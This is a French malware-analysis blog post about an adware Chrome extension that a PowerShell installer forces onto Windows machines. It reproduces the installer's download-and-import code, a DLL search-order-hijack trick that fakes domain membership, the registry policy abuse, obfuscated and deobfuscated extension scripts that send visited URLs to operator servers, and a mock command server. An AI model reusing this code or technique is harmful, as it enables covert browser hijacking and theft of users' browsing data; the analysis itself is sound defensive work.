User consent bypass by browser extension : an adware case study

Malware analysis

Publié le


Introduction

Cet article porte sur l'analyse complète d'une menace peu documentée, qui est une extension Chrome distribuée par un script powershell, dont l'objectif n'est pas la compromission du poste, mais la monétisation du trafic de l'utilisateur.

Contrairement aux malwares traditionnels qui ciblent les identifiants, les fichiers ou l'accès distant, ce type de menace s'inscrit dans un écosystème bien particulier qui est celui des fraudes publicitaires, du détournement d'affiliation et des mécanismes de redirection forcée pour capter de la valeur économique.

Avant d'entrer dans l'analyse approfondie des différents programmes constituant cette menace, il est nécessaire d'introduire son genre et son objectif. Ce qui permettra de comprendre pourquoi ces extensions existent, et surtout comment elles exploitent la navigation d'un utilisateur pour générer du revenu.


Menace économique plutôt que technique

La menace n'a pas d'effet critique sur le système, elle repose tout simplement sur la manipulation silencieuse de la navigation de l'utilisateur tout en lui faisant croire qu'il garde le contrôle (explication dans l'analyse de i.js).
L'extension contient trois programmes javascript :
    - background.js : intercepte la navigation vers des sites marchands prédéfinis et force une redirection vers une URL d'affiliation contrôlée par l'opérateur, avant de renvoyer l'utilisateur vers le site d'origine.
    - content.js : collecte le domaine et le referrer afin d'identifier les parcours susceptibles d'être monétisés.
    - i.js : injecte un iframe chargé de scripts publicitaires tiers, permettant de générer des impressions ou des interactions.

L'ensemble constitue une stratégie de monétisation du trafic résidentiel (désigne la navigation standard d'un utilisateur non professionnel, ce qui constitue une ressource très valorisée par les acteurs publicitaires et les fraudeurs), combinant redirections instantanées, insertion d'identifiants affiliés, signaux publicitaires et adaptation dynamique au comportement de la victime.


Résumé

Il ne s'agit donc pas d'un malware classique comme on a l'habitude de voir. C'est une menace économique, structurée autour de la manipulation du trafic de navigation, la génération de signaux publicitaires et l'exploitation de la valeur commerciale du parcours utilisateur.
L'analyse détaillée qui suit illustre ce modèle et démontre à quel point ces extensions peuvent être complexes malgré une finalité simple : transformer votre navigation en source de revenu.


Analyse de la menace

La menace identifiée via hxxps://pub-6e64685d1f184667b9aadd2f99650639.r2.dev/a.ps1 installe une chaîne de composants dont l'objectif final est de forcer l'installation d'une extension Google Chrome tout en sachant qu'il n'est normalement pas possible d'installer une extension hors store, sauf pour un cas précis.

Le script powershell dépose plusieurs fichiers sur le système (kbdus.dll, Chrome-Secure-Internet.xml, Chrome-Secure-Internet.crx et c.reg).
Le script initial exploite un search order hijacking pour faire charger la DLL malveillante par chrome.exe en plaçant la DLL dans le dossier C:\Program Files\Google\Chrome\Application.

Une fois chargée, kbdus.dll place un hook sur trois fonctions clés liées à l'état d'appartenance à un domaine windows qui sont NetGetJoinInformation, DsBindW et IsOs.
L'objectif est de faire croire à chrome.exe que le système appartient à un domaine Active Directory car c'est la condition nécessaire pour appliquer la politique de déploiement d'extensions.

Lorsque ces vérifications renvoient les valeurs souhaitées, chrome.exe considère la politique valide et charge l'extension Chrome-Secure-Internet.crx.

Image


Phase d'installation

Cette section portera sur l'analyse de tous les composants qui constituent cette première phase d'installation, à savoir a.ps1, a.reg et Chrome-Secure-Internet.xml

Analyse du script powershell : a.ps1

Ce script constitue le stade initial de cette campagne. Il prépare l'environnement, télécharge et installe les différents composants. Il s'ouvre sur la déclaration des variables contenant les éléments à récupérer et l'endroit où les placer sur le système :

$currentVersion = "1.0.1"

$dllUrl = "https://d2onbyq1xr6knr.cloudfront.net/kbdus.dll"
$dllDestination = "C:\Program Files\Google\Chrome\Application\kbdus.dll"

$genericFileUrl = "https://d2onbyq1xr6knr.cloudfront.net/Chrome-Secure-Internet.crx"
$genericFileDestination = "C:\ProgramData\Google\Chrome-Secure-Internet\Chrome-Secure-Internet.crx"

$xmlUrl = "https://d2onbyq1xr6knr.cloudfront.net/Chrome-Secure-Internet.xml"
$xmlDestination = "C:\ProgramData\Google\Chrome-Secure-Internet\Chrome-Secure-Internet.xml"

$regUrl = "https://d2onbyq1xr6knr.cloudfront.net/c.reg"
$tmpFolder = "$env:TEMP\ppaks"
$regDestination = Join-Path $tmpFolder "c.reg"

$errorReportUrl = "https://e.leru.info/e"

 
La fonction principale se trouve juste après la vérification de la présence de google chrome sur le système. Si Google Chrome est présent le programme continue sinon il envoi un rapport d'erreur via la fonction Send-Event avant de se terminer :

} else {
    Send-Event -EventName "chrome_not_installed" -Version $currentVersion
}

 
Si notre condition est vrai le programme exécutera le code suivant :

if (Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") {
    Send-Event -EventName "chrome_installed" -Version $currentVersion

    $folderDestination = Split-Path $genericFileDestination
    $versionFile = "$folderDestination\version.txt"

    if (-not (Test-Path $versionFile)) {
        Send-Event -EventName "starting" -Version $currentVersion
        MainFu -FolderDestination $folderDestination -VersionFile $versionFile -Version $currentVersion
        Send-Event -EventName "finished" -Version $currentVersion
    } else {
        $content = Read-FileContent -Path "$versionFile" -Version $currentVersion
        if ($content) {
            if ($content.Trim() -ne $currentVersion) {
                Send-Event -EventName "updating" -Version $currentVersion
                MainFu -FolderDestination $folderDestination -VersionFile $versionFile -Version $currentVersion
                Send-Event -EventName "finished_updating" -Version $currentVersion
            }
        }
    }

    $filesToCheck = @{}

    $filesToCheck["Exists"] = @{
        "DLL" = Test-Path "$dllDestination"
        "EXT" = Test-Path "$genericFileDestination"
        "XML" = Test-Path "$xmlDestination"
        "EXT_REG" = Read-RegValue -Path "SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist" -Name "1"
    }

    Send-Event -Content $filesToCheck  -EventName "checking" -Version $currentVersion
}

 
Si le fichier version.txt n'existe pas, le script considère qu'il s'agit d'une première installation.
S'il est présent, l'exécution met à jour l'existant à condition que la version enregistrée diffère de celle déclarée dans le script.

Le cœur de l'installation repose sur la fonction MainFu, appelée une fois pour l'installation initiale et une seconde fois en cas de mise à jour. Cette fonction peut être découpée en deux phases distinctes :

1 - Téléchargement et préparation des composants
Cette première étape récupère tous les fichiers nécessaires et force la fermeture de Chrome pour garantir leur déploiement :

Send-Event -EventName "closing_chrome" -Version $Version
	Stop-Process -Name "chrome" -Force -ErrorAction SilentlyContinue
	
	Remove-Folder -Path "$FolderDestination" -Version $Version
	
	Send-Event -EventName "starting_downloading_dll" -Version $Version
	Download-FileIfMissing -Url $dllUrl -Destination $dllDestination -Version $Version
	Send-Event -EventName "finished_downloading_dll" -Version $Version
	
	Send-Event -EventName "starting_downloading_ext" -Version $Version
	Download-FileIfMissing -Url $genericFileUrl -Destination $genericFileDestination -Version $Version
	Send-Event -EventName "finished_downloading_ext" -Version $Version
	
	Send-Event -EventName "starting_downloading_xml" -Version $Version
	Download-FileIfMissing -Url $xmlUrl -Destination $xmlDestination -Version $Version
	Send-Event -EventName "finished_downloading_xml" -Version $Version
	
	Send-Event -EventName "starting_downloading_reg" -Version $Version
	Download-FileIfMissing -Url $regUrl -Destination $regDestination -Version $Version
	Send-Event -EventName "finished_downloading_red" -Version $Version

 
2 - Application de la configuration malveillante
Une fois les fichiers en place, MainFu importe la clé de registre permettant l'installation forcée de l'extension Chrome :

try {
	    Send-Event -EventName "starting_importing_reg" -Version $Version
	    Start-Process reg.exe -ArgumentList "import "$regDestination"" -Wait -NoNewWindow -ErrorAction Stop
	    Send-Event -EventName "finished_importing_reg" -Version $Version
	
	    Remove-File -Path "$regDestination" -Version $Version
	
	    Send-Event -EventName "starting_version_file" -Version $Version
	    New-Item $VersionFile -ItemType File -Value "$Version"
	    Send-Event -EventName "finished_version_file" -Version $Version
	}

Analyse de c.reg et du fichier de config

Voici le contenu du fichier c.reg :

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist]
"1"="modmbbaehigcaoljmcomajoacflgliga;file:///C:/ProgramData/Google/Chrome-Secure-Internet/Chrome-Secure-Internet.xml"

 
Cette clé appartient à une politique Chrome réservée aux environnements d'entreprise. Elle permet à un administrateur de forcer l'installation d'une extension sur Chrome sans interaction de l'utilisateur.
Cette clé de registre pointe sur le fichier de configuration Chrome-Secure-Internet.xml.

Voici le contenu du fichier Chrome-Secure-Internet.xml :

<?xml version='1.0' encoding='UTF-8'?><gupdate xmlns='http://www.google.com/update2/response' protocol='2.0'>  <app appid='modmbbaehigcaoljmcomajoacflgliga'>    <updatecheck codebase='file:///C:/ProgramData/Google/Chrome-Secure-Internet/Chrome-Secure-Internet.crx' version='12.33.12' />  </app></gupdate>

Ce fichier de configuration permet la mise à jour automatique de manifeste pour une extension Google Chrome. Ici elle pointe sur l'extension suivante : C:/ProgramData/Google/Chrome-Secure-Internet/Chrome-Secure-Internet.crx


Phase d'exploitation

Dans cette section on étudiera le comportements des scripts présents dans le fichier Chrome-Secure-Internet.crx, à savoir background.js, i.js et content.js.

Analyse du script : background.js

Le script principal est obfusqué, voici son contenu :

function _0x5408(_0x5823ad,_0x4eb7b6){const _0x57d24e=_0x57d2();
return _0x5408=function(_0x5408fa,_0x260597){_0x5408fa=_0x5408fa-0x176;
let _0x1a5a9d=_0x57d24e[_0x5408fa];return _0x1a5a9d;},_0x5408(_0x5823ad,_0x4eb7b6);}
function _0x57d2(){const _0x16d9da=['xmt','674367YVnAcT','toString','36PNaBOa','hostname','replace','tabId','storage','updateDynamicRules','4iXehbs','YWk1UUhYU0VDdWZLejFGNVJxNWxCcmhyU1dKYzRUbWs=','get','1291040sfXmHc','10247072srEiIK','error_client','sxt','local','ppmm','set','https://e.leru.info/e','message','now','userAgent','4eSUSfh','map','30saautl','pathname','application/json','random','1500399eoAEgG','rule','160307JWmBwD','red','from','getTime','charCodeAt','decode','importKey','json','runtime','POST','xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx','redirectUrl','subtle','path','tabs','pats','webNavigation','4314624fPdTph','floor','href','onCompleted','bsr','subdomain','onCommitted','parse','onMessage','domain','AES-GCM','entries','https://a.leru.info/r','740194TIiegc','startsWith','addListener','url','&pats=','decrypt','onBeforeNavigate','redirects'];
_0x57d2=function(){return _0x16d9da;};return _0x57d2();}(function(_0x465263,_0x333d06){const _0x50048c=_0x5408,_0x2d4e38=_0x465263();while(!![]){try{const _0x1e3b43=-parseInt(_0x50048c(0x179))/0x1+parseInt(_0x50048c(0x18a))/0x2*(-parseInt(_0x50048c(0x182))/0x3)+-parseInt(_0x50048c(0x198))/0x4*(parseInt(_0x50048c(0x18d))/0x5)+parseInt(_0x50048c(0x184))/0x6*(-parseInt(_0x50048c(0x1a0))/0x7)+parseInt(_0x50048c(0x1b1))/0x8+parseInt(_0x50048c(0x19e))/0x9*(parseInt(_0x50048c(0x19a))/0xa)+parseInt(_0x50048c(0x18e))/0xb;if(_0x1e3b43===_0x333d06)break;else _0x2d4e38['push'](_0x2d4e38['shift']());}catch(_0xd7b950){_0x2d4e38['push'](_0x2d4e38['shift']());}}}(_0x57d2,0x5e25b),(function(){const _0x2e37d4=_0x5408,_0x32ed1f=_0x2e37d4(0x178),_0x4e1af7=_0x2e37d4(0x18b),_0x1a38ac=0x1e*0x3c*0x3e8,_0x66951e=0x3c*0x3c*0x3e8;let _0x5a33e4=[];chrome['runtime']['onInstalled'][_0x2e37d4(0x17b)](_0x270493),chrome[_0x2e37d4(0x1a8)]['onStartup'][_0x2e37d4(0x17b)](_0x270493),setInterval(_0x270493,_0x66951e),chrome[_0x2e37d4(0x1b0)][_0x2e37d4(0x17f)][_0x2e37d4(0x17b)](async _0x502e26=>{const _0x2c821d=_0x2e37d4;try{const _0x1df9df=new URL(_0x502e26[_0x2c821d(0x17c)]);
for(const _0xbd690a of _0x5a33e4){const _0x14c228=_0xbd690a['id'][_0x2c821d(0x183)](),_0x8acb59=_0xbd690a[_0x2c821d(0x1b6)]+'.'+_0xbd690a[_0x2c821d(0x1ba)],_0x2333ff=_0x1df9df[_0x2c821d(0x19b)][_0x2c821d(0x17a)](_0xbd690a[_0x2c821d(0x1ad)][_0x2c821d(0x186)]('*',''));if(_0x1df9df[_0x2c821d(0x185)]!==_0x8acb59||!_0x2333ff)continue;const _0xf2c4c5=await new Promise(_0x832e28=>{const _0x22e616=_0x2c821d;chrome[_0x22e616(0x188)][_0x22e616(0x191)][_0x22e616(0x18c)]([_0x22e616(0x180)],_0x25ecdb=>{_0x832e28(_0x25ecdb['redirects']||{});});}),_0x1df2ca=_0xf2c4c5[_0x14c228],_0x5d5a59=!_0x1df2ca||Date[_0x2c821d(0x196)]()-_0x1df2ca>_0x1a38ac;if(!_0x5d5a59){if(_0x1df9df['hostname']===_0x8acb59)return;}const _0x58246d=new URL(_0xbd690a[_0x2c821d(0x1ab)])[_0x2c821d(0x185)];if(_0x1df9df[_0x2c821d(0x185)]===_0x58246d||_0x1df9df[_0x2c821d(0x1b3)]===_0xbd690a[_0x2c821d(0x1ab)])return;
chrome[_0x2c821d(0x1ae)]['update'](_0x502e26[_0x2c821d(0x187)],{'url':_0xbd690a['redirectUrl']}),_0xf2c4c5[_0x14c228]=Date[_0x2c821d(0x196)](),chrome[_0x2c821d(0x188)][_0x2c821d(0x191)][_0x2c821d(0x193)]({'redirects':_0xf2c4c5});break;}}catch(_0x5180c8){_0x32822a(_0x5180c8);}}),chrome[_0x2e37d4(0x1b0)][_0x2e37d4(0x1b7)][_0x2e37d4(0x17b)](_0x133e9e=>{const _0x59fd8f=_0x2e37d4;try{for(const _0x33a0ff of _0x5a33e4){if(_0x133e9e[_0x59fd8f(0x17c)][_0x59fd8f(0x17a)](_0x33a0ff[_0x59fd8f(0x1ab)])){const _0x33ee31=_0x33a0ff['id'][_0x59fd8f(0x183)]();
chrome['declarativeNetRequest'][_0x59fd8f(0x189)]({'removeRuleIds':[_0x33a0ff['id']]}),chrome[_0x59fd8f(0x188)]['local'][_0x59fd8f(0x18c)]([_0x59fd8f(0x180)],_0x56a953=>{const _0x3579f0=_0x59fd8f,_0x3ed450=_0x56a953[_0x3579f0(0x180)]||{};_0x3ed450[_0x33ee31]=Date[_0x3579f0(0x196)](),chrome[_0x3579f0(0x188)][_0x3579f0(0x191)][_0x3579f0(0x193)]({'redirects':_0x3ed450});});}}}catch(_0x167b69){_0x32822a(_0x167b69);}}),chrome[_0x2e37d4(0x1b0)][_0x2e37d4(0x1b4)][_0x2e37d4(0x17b)](()=>{const _0x332c91=_0x2e37d4;try{chrome[_0x332c91(0x188)]['local'][_0x332c91(0x18c)](['redirects'],_0x2fbdd3=>{const _0x39ffea=_0x332c91,_0x420d14=_0x2fbdd3[_0x39ffea(0x180)]||{},_0x320938=Date[_0x39ffea(0x196)](),_0x5d2f28={};for(const [_0x25a15a,_0x3e0ad6]of Object[_0x39ffea(0x177)](_0x420d14)){_0x320938-_0x3e0ad6<=_0x1a38ac&&(_0x5d2f28[_0x25a15a]=_0x3e0ad6);}
chrome['storage'][_0x39ffea(0x191)][_0x39ffea(0x193)]({'redirects':_0x5d2f28});});}catch(_0x5f1655){_0x32822a(_0x5f1655);}});async function _0x270493(){const _0x5eceb2=_0x2e37d4;
try{const _0x34c4ac=await fetch(_0x32ed1f);if(!_0x34c4ac['ok'])return;const {iv:_0x472385,data:_0x53fdfe}=await _0x34c4ac[_0x5eceb2(0x1a7)](),_0x537c5d=Uint8Array[_0x5eceb2(0x1a2)](atob(_0x4e1af7),_0x1bc511=>_0x1bc511[_0x5eceb2(0x1a4)](0x0)),_0x1a82dc=Uint8Array[_0x5eceb2(0x1a2)](atob(_0x472385),_0x2d12aa=>_0x2d12aa[_0x5eceb2(0x1a4)](0x0)),_0x48bc05=Uint8Array['from'](atob(_0x53fdfe),_0xe182f8=>_0xe182f8[_0x5eceb2(0x1a4)](0x0)),_0x599886=await crypto[_0x5eceb2(0x1ac)][_0x5eceb2(0x1a6)]('raw',_0x537c5d,{'name':_0x5eceb2(0x176)},![],[_0x5eceb2(0x17e)]),_0x1b871d=await crypto[_0x5eceb2(0x1ac)][_0x5eceb2(0x17e)]({'name':_0x5eceb2(0x176),'iv':_0x1a82dc},_0x599886,_0x48bc05),_0x437354=new TextDecoder()[_0x5eceb2(0x1a5)](_0x1b871d),_0x1b532a=JSON[_0x5eceb2(0x1b8)](_0x437354);_0x5a33e4=_0x1b532a[_0x5eceb2(0x199)]((_0x435b91,_0x1ba393)=>({'id':parseInt(_0x435b91['id']||_0x1ba393+0x1,0xa),'domain':_0x435b91[_0x5eceb2(0x19f)][_0x5eceb2(0x1ba)],'subdomain':_0x435b91['rule'][_0x5eceb2(0x1b6)]||'*','path':_0x435b91[_0x5eceb2(0x19f)][_0x5eceb2(0x1ad)]||'/*','redirectUrl':_0x435b91[_0x5eceb2(0x1a1)]}));}catch(_0x32fc64){_0x32822a(_0x32fc64);}}
async function _0x32822a(_0x15aae5){const _0x18e3a6=_0x2e37d4;try{await fetch(_0x18e3a6(0x194),{'method':_0x18e3a6(0x1a9),'headers':{'Content-Type':_0x18e3a6(0x19c)},'body':JSON['stringify']({'error':_0x15aae5?.[_0x18e3a6(0x195)]||'Unknown\x20error','userAgent':navigator[_0x18e3a6(0x197)],'event':_0x18e3a6(0x18f)})});}catch(_0x1f5126){}}const _0x2fc284='https://d.leru.info/c',_0x43fb59=_0x2e37d4(0x1b5),_0x4cc6cc='1111',_0x5025f0=_0x2e37d4(0x190),_0x1ea64c='2',_0x53997d=_0x2e37d4(0x181);let _0x4ecd6b;function _0x4cd94f(_0x383eca){const _0x19a051=_0x2e37d4;
try{if(_0x4ecd6b&&_0x4ecd6b[_0x53997d])return _0x383eca&&_0x383eca(_0x4ecd6b),_0x4ecd6b;chrome['storage'][_0x19a051(0x191)][_0x19a051(0x18c)](function(_0x147593){const _0x47a262=_0x19a051,_0x507bd7=_0x147593&&_0x147593[_0x53997d]?_0x147593:{[_0x53997d]:_0x24c23d()};return chrome[_0x47a262(0x188)][_0x47a262(0x191)][_0x47a262(0x193)](_0x507bd7),_0x4ecd6b=_0x507bd7,_0x383eca&&_0x383eca(_0x4ecd6b),_0x4ecd6b;});}catch(_0x3af5fe){}}function _0x24c23d(){const _0x5e67e3=_0x2e37d4;let _0x1951d0=new Date()[_0x5e67e3(0x1a3)](),_0x2e1bf6=typeof performance!=='undefined'&&performance['now']&&performance[_0x5e67e3(0x196)]()*0x3e8||0x0;return _0x5e67e3(0x1aa)['replace'](/[xy]/g,function(_0x240f03){const _0x257e1a=_0x5e67e3;
let _0x24ad3e=Math[_0x257e1a(0x19d)]()*0x10;return _0x1951d0>0x0?(_0x24ad3e=(_0x1951d0+_0x24ad3e)%0x10|0x0,_0x1951d0=Math[_0x257e1a(0x1b2)](_0x1951d0/0x10)):(_0x24ad3e=(_0x2e1bf6+_0x24ad3e)%0x10|0x0,_0x2e1bf6=Math[_0x257e1a(0x1b2)](_0x2e1bf6/0x10)),(_0x240f03==='x'?_0x24ad3e:_0x24ad3e&0x3|0x8)[_0x257e1a(0x183)](0x10);});}function _0x3b62de(_0x52c198){try{return fetch(_0x52c198);}catch(_0x13ddd2){}}function _0x3bf403(){try{const _0x1b4f76=function(_0x401943){_0x39347e(_0x401943);};
_0x4cd94f(_0x1b4f76);}catch(_0x30091c){}}function _0x39347e(_0xc34230){const _0x4e4455=_0x2e37d4;try{chrome[_0x4e4455(0x1a8)][_0x4e4455(0x1b9)][_0x4e4455(0x17b)](function(_0x3b8d04,_0x387bae,_0x318b85){const _0x9cb6e3=_0x4e4455;if(_0x3b8d04[_0x9cb6e3(0x195)]==_0x9cb6e3(0x192)){const _0x23be9d=_0x2fc284+'?'+_0x43fb59+'='+_0x4cc6cc+'&'+_0x5025f0+'='+_0x1ea64c+'&'+_0x53997d+'='+_0xc34230[_0x53997d]+'&mbs='+_0x3b8d04['mbs']+_0x9cb6e3(0x17d)+_0x3b8d04[_0x9cb6e3(0x1af)];_0x3b62de(_0x23be9d);}return!![];});}catch(_0x48b169){}}_0x3bf403();}()));

 
L'obfuscation n'était pas vraiment difficile mais pas assez simple pour être résolue par cet outil : obf-io.deobfuscate.io.

Par conséquant, un script a été réalisé pour résoudre le programme progressivement.
Le voici :

import sys

strings = ['xmt', '674367YVnAcT', 'toString', '36PNaBOa', 'hostname', 'replace', 'tabId', 'storage', 'updateDynamicRules', '4iXehbs', 'YWk1UUhYU0VDdWZLejFGNVJxNWxCcmhyU1dKYzRUbWs=', 'get', '1291040sfXmHc', '10247072srEiIK', 'error_client', 'sxt', 'local', 'ppmm', 'set', 'https://e.leru.info/e', 'message', 'now', 'userAgent', '4eSUSfh', 'map', '30saautl', 'pathname', 'application/json', 'random', '1500399eoAEgG', 'rule', '160307JWmBwD', 'red', 'from', 'getTime', 'charCodeAt', 'decode', 'importKey', 'json', 'runtime', 'POST', 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx', 'redirectUrl', 'subtle', 'path', 'tabs', 'pats', 'webNavigation', '4314624fPdTph', 'floor', 'href', 'onCompleted', 'bsr', 'subdomain', 'onCommitted', 'parse', 'onMessage', 'domain', 'AES-GCM', 'entries', 'https://a.leru.info/r', '740194TIiegc', 'startsWith', 'addListener', 'url', '&pats=', 'decrypt', 'onBeforeNavigate', 'redirects'] 

def decode(index):
    return strings[(index - 0x176 + 58) % len(strings)]

print(decode(int(sys.argv[1], 16)))

 
Cette démarche m'a permis d'obtenir le code suivant (que je ne vais pas mettre en entier pour des raisons évidentes):

(() => {
  const url_config = 'https://a.leru.info/r';
  const url_error = 'https://e.leru.info/e';
  const url_send_data = 'https://d.leru.info/c';
  const aes_key_b64 = 'YWk1UUhYU0VDdWZLejFGNVJxNWxCcmhyU1dKYzRUbWs=';
  let config = [];
  chrome.runtime.onInstalled.addListener(getNewConfig);
  chrome.runtime.onStartup.addListener(getNewConfig);
  setInterval(getNewConfig, 3600000);
  chrome.webNavigation.onBeforeNavigate.addListener(async details => {
    try {
      ...
    } catch (error) {
      sendError(error);
    }
  }), 

  chrome.webNavigation.onCommitted.addListener(details => {
    try {
      ...
    } catch (error) {
      sendError(error);
    }
  }), 

  chrome.webNavigation.onCompleted.addListener(() => {  
    try {
      ...
    } catch (error) {
      sendError(error);
    }
  });

  async function getNewConfig() {
    try {
      const res = await fetch(url_config);
      if (!res.ok) {
        return;
      }
      const { iv, data } = await res.json();
      console.log(data);
      const keyBytes = Uint8Array.from(atob(aes_key_b64), e => e.charCodeAt(0x0));
      const ivBytes = Uint8Array.from(atob(iv), e => e.charCodeAt(0x0));
      const cipherBytes = Uint8Array.from(atob(data), e => e.charCodeAt(0x0));
      const key = await crypto.subtle.importKey('raw', keyBytes, {
        'name': 'AES-GCM'
      }, false, ['decrypt']);
      const buffer = await crypto.subtle.decrypt({
        'name': 'AES-GCM',
        'iv': ivBytes
      }, key, cipherBytes);
      const decoded_data = new TextDecoder().decode(buffer);
      const new_config = JSON.parse(decoded_data);
      config = new_config.map((element, index) => ({
        'id': parseInt(element.id || index + 0x1, 0xa),
        'domain': element.rule.domain,
        'subdomain': element.rule.subdomain || '*',
        'path': element.rule.path || '/*',
        'redirectUrl': element.red
      }));
    } catch (error) {
      sendError(error);
    }
  }

  async function sendError(url_error) {
    try {
      await fetch(url_error, {
        'method': 'POST',
        'headers': {
          'Content-Type': 'application/json'
        },
        'body': JSON.stringify({
          'error': url_error ?.message || 'Unknown\x20error',
          'userAgent': navigator.userAgent,
        'event': 'error_client'
        })
      });
    } catch (error) {}
  }

  let client_cache;
  function getClientId(callback) {
    try {
      ...
    } catch (error) {}
  }

  function generate_uuid() {
    let timestamp_now = new Date().getTime();
    let performance_time = typeof performance !== 'undefined' && performance.now && performance.now() * 0x3e8 || 0x0;
    return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (_0x240f03) {
      let random_value = Math.random() * 0x10;
      if (timestamp_now > 0x0) {
        random_value = (timestamp_now + random_value) % 0x10 | 0x0;
        timestamp_now = Math.floor(timestamp_now / 0x10);
      } else {
        random_value = (performance_time + random_value) % 0x10 | 0x0;
        performance_time = Math.floor(performance_time / 0x10);
      }
      return (_0x240f03 === 'x' ? random_value : random_value & 0x3 | 0x8).toString(0x10);
    });
  }

  function sendWebTraffic(url_heart_beat) {
    try {
      return fetch(url_heart_beat);
    } catch (error) {}
  }

  function main() {
    const callback = data => setupListener(data);
    getClientId(callback);
  }

  function setupListener(clientData) {
    try {
      ...
    } catch (error) {}
  }

  main();
})();

Analyse des scripts i.js et content.js

Les deux autres scripts ne possédaient pas une obfuscation à la hauteur du premier donc l'outil obf-io.deobfuscate.io à fait l'affaire pour i.js et un console.log au bon endroit pour content.js.

Voici le contenu résolu de i.js :

(async () => {
  const timestamp_now = Date.now();
  let config = null;
  
  const img_raw = localStorage.getItem("i_con");
  const img_expiry = parseInt(localStorage.getItem('i_con_expiry'), 0xa);

  if (img_raw && img_expiry && timestamp_now < img_expiry) {
    try {
      config = JSON.parse(img_raw);
    } catch {}
  }

  if (!config) {
    try {
      const url_get_new_config = await fetch('https://i.leru.info/c.json');
      config = await url_get_new_config.json();
      localStorage.setItem("i_con", JSON.stringify(config));
      localStorage.setItem('i_con_expiry', (timestamp_now + 3600000).toString());
    } catch {
      return;
    }
  }

  const forbidden_domains = config.forbidden_domains || [];
  const current_domain_tab = window.location.hostname;
  if (forbidden_domains.some(e => current_domain_tab.includes(e))) {
    return;
  }

  const show_flag = config.show_iframe;
  const is_show = show_flag === true || show_flag === "yes";
  if (!is_show) {
    return;
  }

  const layout = config.layout || {};

  const newWindow = document.createElement('div');
  newWindow.style.position = "fixed";
  newWindow.style.bottom = layout.wrapperBottom || "0px";
  newWindow.style.right = layout.wrapperRight || "0px";
  newWindow.style.width = layout.wrapperWidth || "160px";
  newWindow.style.height = layout.wrapperHeight || "300px";
  newWindow.style.zIndex = "10000";

  const btn = document.createElement("div");
  btn.textContent = 'x';
  btn.style.position = "absolute";
  btn.style.top = "4px";
  btn.style.right = "6px";
  btn.style.cursor = "pointer";
  btn.style.fontSize = "16px";
  btn.style.fontWeight = "bold";
  btn.style.color = '#000';
  btn.style.background = "#fff";
  btn.style.borderRadius = "50%";
  btn.style.padding = "2px 6px";
  btn.style.zIndex = "10001";
  btn.onclick = () => newWindow.remove();

  const iframe = document.createElement('iframe');
  iframe.src = layout.iframeSrc || '';
  iframe.style.width = layout.iframeWidth || "160px";
  iframe.style.height = layout.iframeHeight || "300px";
  iframe.style.border = 'none';
  iframe.style.outline = "none";
  iframe.style.overflow = 'hidden';
  iframe.setAttribute('frameBorder', '0');
  iframe.setAttribute("scrolling", 'no');

  newWindow.appendChild(btn);
  newWindow.appendChild(iframe);

  document.body.appendChild(newWindow);
})();

 
Voici le contenu résolu de content.js :

(() => {
    chrome.runtime.sendMessage({
      'message': 'ppmm',
      'mbs': encodeURIComponent(window.location.href),
      'pats': encodeURIComponent(document.referrer)
    });
})();
[/p]

Phase d'émulation

Afin de mieux comprendre comment le tout s'opère, un programme python a été développé dans l'objectif de se mettre dans la peau de l'attaquant.
Voici le code :

from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse, FileResponse
import uvicorn
import json

app = FastAPI()

@app.get("/c.json")
async def get_cjson():
	with open('./c.json', 'r', encoding='utf-8') as f:
        data = json.load(f)
    return JSONResponse(content=data)

@app.get("/index")
async def serve_index():
    return FileResponse("index.html")
	
@app.get('/r')
async def get_config():
    with open('./config.json', 'r', encoding='utf-8') as f:
        data = json.load(f)
    return JSONResponse(content=data)
	
@app.post('/e')
async def get_error(request: Request):
    payload = await request.json()
    print(f'error: {payload}')
    return {'status': 'ok'}
	
@app.get('/c')
async def get_data(xmt: str = None, mbs: str = None, pats: str = None):
    print(f'Data from bad extension: \nxmt: {xmt}, \nmbs: {mbs}, \npats: {pats}')
    return {'status': 'ok'}

if __name__ == '__main__':
    uvicorn.run('mini:app', host='0.0.0.0', port=1234, reload=True)

 
Cette démarche permet de comprendre comment la configuration est exploitée et les données que l'attaquant peu recevoir en cas d'infection.
Rejouer l'attaque a été possible grâce aux données sauvegardées sur VirusTotal. Les données concernant c.json ainsi que la configuration retournée par a.leru.info/r ont pu être retrouvées.

Voici un aperçu de c.json :

{
    "layout": {
        "iframeSrc" : "https://hidtreks.com"
    },
    "forbidden_domains": [
        "google.",
        "chatgpt.",
        "whatsapp.",
        "amazon.",
        "tiktok.",
        "microsoft.",
        "linkedin.",
        "netflix.",
        "live.",
        "office.",
        "bing.",
        "twitch.",
        "vk.",
        "canva.",
        "samsung.",
        "duckduckgo.",
        "zoom.us",
        "ebay.",
        "roblox.",
        "walmart.",
        "facebook.",
        "instagram."
    ],
    "show_iframe": true
}

 
Ainsi qu'un aperçu de la configuration chiffrée :

{"iv": "6v84nxbyDYtFmAjy", "data": "qXvZQJSgtnUPXPMWWwye/KjBDZ3ZH4QLCdmAe7hzH5Z+zqLxonCb/jJn6Fw+DnMRgv8KRWcA2qEmr94QXxUTN3QU2Ldd7yFZDEJwB66EixyrLV1Yegl1D5DPhFx+tm47RUu6byPI/8FPZZexvMLZgpagJcGbs7pYspBv/QdlqPpe7c/Abmztqcp7YwRYrX46HTxx+VHMzkd1yTleFwTdRgjgVF/c1MgKQGm3f27OgXtqz5ZVhdjFra6ZYRkPIkieyBp0hIkFZdST/

 
et un aperçu de sa version déchiffrée :

{
    "id": 100550030,
    "domain": "eveoncontainers.com",
    "subdomain": "www",
    "path": "en-us*",
